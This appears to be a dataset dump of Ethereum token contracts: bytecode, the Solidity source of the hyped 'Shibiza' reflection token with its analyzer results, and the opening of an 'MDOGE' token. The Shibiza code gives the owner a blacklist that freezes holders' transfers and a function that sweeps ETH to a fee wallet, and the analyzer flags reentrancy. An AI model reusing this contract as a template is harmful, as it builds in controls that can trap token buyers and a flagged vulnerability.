fffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061160482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117ab57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187957fe5b818303905092915050565b6000818301905082811015151561189757fe5b809050929150505600a165627a7a723058207412c0f615b4f6df0b690bbe9b55d4cc395bc93b10de45af2aa44b6c787fd2320029
|
{"success": true, "error": null, "results": {}}
| 6,515 |
0x68dc0ac19fb75c813b98eb7e9344195407e27892
|
/**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
/*
The Shibiza is ready for the Fun,
This is the Real Contract
Nft will be minted and distributed to the Holders of Shibiza Community,
which gives private access to the DJ FUN on Ibiza $$$$$
Telegram: https://t.me/shibizaportal
100% STEALTH LAUNCH
Initial LP: 3 ETH
Max Buy : 2.5% or 25,000,000,000
Total Supply : 1,000,000,000,000
Tax : 12%
2% Reflections
6% Big Callers are coming 👀
4% Buy Competitions
SLippage: 12% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shibizaerc is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibiza";
string private constant _symbol = "Shibiza";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xAbF619B6597FaC4f8D49204bdb5fbcDddc201371);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 25_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 25_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063715018a6146102a25780638da5cb5b146102b757806395d89b411461015c5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b806323b872dd116100f257806323b872dd14610211578063273123b714610231578063313ce567146102515780636fc3eaec1461026d57806370a082311461028257600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611848565b6103e4565b005b34801561016857600080fd5b50604080518082018252600781526653686962697a6160c81b6020820152905161019291906118c5565b60405180910390f35b3480156101a757600080fd5b506101bb6101b6366004611756565b610435565b6040519015158152602001610192565b3480156101d757600080fd5b50683635c9adc5dea000005b604051908152602001610192565b3480156101fd57600080fd5b5061015a61020c366004611880565b61044c565b34801561021d57600080fd5b506101bb61022c366004611716565b610490565b34801561023d57600080fd5b5061015a61024c3660046116a6565b6104f9565b34801561025d57600080fd5b5060405160098152602001610192565b34801561027957600080fd5b5061015a610544565b34801561028e57600080fd5b506101e361029d3660046116a6565b610578565b3480156102ae57600080fd5b5061015a61059a565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102eb57600080fd5b5061015a61060e565b34801561030057600080fd5b506101bb61030f366004611756565b61084d565b34801561032057600080fd5b5061015a61032f366004611781565b61085a565b34801561034057600080fd5b5061015a6108fe565b34801561035557600080fd5b5061015a61093e565b34801561036a57600080fd5b5061015a610379366004611880565b610b07565b34801561038a57600080fd5b5061015a610399366004611880565b610b3f565b3480156103aa57600080fd5b506101e36103b93660046116de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611918565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610442338484610b77565b5060015b92915050565b6000546001600160a01b031633146104765760405162461bcd60e51b815260040161040e90611918565b68015af1d78b58c4000081111561048d5760108190555b50565b600061049d848484610c9b565b6104ef84336104ea85604051806060016040528060288152602001611a96602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f92565b610b77565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161040e90611918565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161040e90611918565b4761048d81610fcc565b6001600160a01b03811660009081526002602052604081205461044690611006565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161040e90611918565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161040e90611918565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a91906116c2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906116c2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906116c2565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610442338484610c9b565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161040e90611918565b60005b81518110156108fa576001600660008484815181106108b657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f281611a2b565b915050610887565b5050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161040e90611918565b600061093330610578565b905061048d8161108a565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161040e90611918565b600e546109899030906001600160a01b0316683635c9adc5dea00000610b77565b600e546001600160a01b031663f305d71947306109a581610578565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a569190611898565b5050600f805468015af1d78b58c4000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610acf57600080fd5b505af1158015610ae3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d9190611864565b6000546001600160a01b03163314610b315760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600b55565b6000546001600160a01b03163314610b695760405162461bcd60e51b815260040161040e90611918565b600f81101561048d57600c55565b6001600160a01b038316610bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040e565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040e565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040e565b60008111610dc35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b6001600160a01b03831660009081526006602052604090205460ff1615610de957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2b57506001600160a01b03821660009081526005602052604090205460ff16155b15610f82576000600955600c54600a55600f546001600160a01b038481169116148015610e665750600e546001600160a01b03838116911614155b8015610e8b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea05750600f54600160b81b900460ff165b15610eb457601054811115610eb457600080fd5b600f546001600160a01b038381169116148015610edf5750600e546001600160a01b03848116911614155b8015610f0457506001600160a01b03831660009081526005602052604090205460ff16155b15610f15576000600955600b54600a555b6000610f2030610578565b600f54909150600160a81b900460ff16158015610f4b5750600f546001600160a01b03858116911614155b8015610f605750600f54600160b01b900460ff165b15610f8057610f6e8161108a565b478015610f7e57610f7e47610fcc565b505b505b610f8d83838361122f565b505050565b60008184841115610fb65760405162461bcd60e51b815260040161040e91906118c5565b506000610fc38486611a14565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fa573d6000803e3d6000fd5b600060075482111561106d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040e565b600061107761123a565b9050611083838261125d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113457600080fd5b505afa158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c91906116c2565b8160018151811061118d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b39130911684610b77565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ec90859060009086903090429060040161194d565b600060405180830381600087803b15801561120657600080fd5b505af115801561121a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8d83838361129f565b6000806000611247611396565b9092509050611256828261125d565b9250505090565b600061108383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d8565b6000806000806000806112b187611406565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e39087611463565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131290866114a5565b6001600160a01b03891660009081526002602052604090205561133481611504565b61133e848361154e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113b2828261125d565b8210156113cf57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113f95760405162461bcd60e51b815260040161040e91906118c5565b506000610fc384866119d5565b60008060008060008060008060006114238a600954600a54611572565b925092509250600061143361123a565b905060008060006114468e8787876115c7565b919e509c509a509598509396509194505050505091939550919395565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b6000806114b283856119bd565b9050838110156110835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b600061150e61123a565b9050600061151c8383611617565b3060009081526002602052604090205490915061153990826114a5565b30600090815260026020526040902055505050565b60075461155b9083611463565b60075560085461156b90826114a5565b6008555050565b600080808061158c60646115868989611617565b9061125d565b9050600061159f60646115868a89611617565b905060006115b7826115b18b86611463565b90611463565b9992985090965090945050505050565b60008080806115d68886611617565b905060006115e48887611617565b905060006115f28888611617565b90506000611604826115b18686611463565b939b939a50919850919650505050505050565b60008261162657506000610446565b600061163283856119f5565b90508261163f85836119d5565b146110835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b80356116a181611a72565b919050565b6000602082840312156116b7578081fd5b813561108381611a72565b6000602082840312156116d3578081fd5b815161108381611a72565b600080604083850312156116f0578081fd5b82356116fb81611a72565b9150602083013561170b81611a72565b809150509250929050565b60008060006060848603121561172a578081fd5b833561173581611a72565b9250602084013561174581611a72565b929592945050506040919091013590565b60008060408385031215611768578182fd5b823561177381611a72565b946020939093013593505050565b60006020808385031215611793578182fd5b823567ffffffffffffffff808211156117aa578384fd5b818501915085601f8301126117bd578384fd5b8135818111156117cf576117cf611a5c565b8060051b604051601f19603f830116810181811085821117156117f4576117f4611a5c565b604052828152858101935084860182860187018a1015611812578788fd5b8795505b8386101561183b5761182781611696565b855260019590950194938601938601611816565b5098975050505050505050565b600060208284031215611859578081fd5b813561108381611a87565b600060208284031215611875578081fd5b815161108381611a87565b600060208284031215611891578081fd5b5035919050565b6000806000606084860312156118ac578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f1578581018301518582016040015282016118d5565b818111156119025783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199c5784516001600160a01b031683529383019391830191600101611977565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d0576119d0611a46565b500190565b6000826119f057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0f57611a0f611a46565b500290565b600082821015611a2657611a26611a46565b500390565b6000600019821415611a3f57611a3f611a46565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f4b2cf65545c1136acb55502a57b10f82b811305e358930781a12e519c00dfa064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,516 |
0xf772cc210b88e50417d24c4c33f91ac2f480a095
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MDOGE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
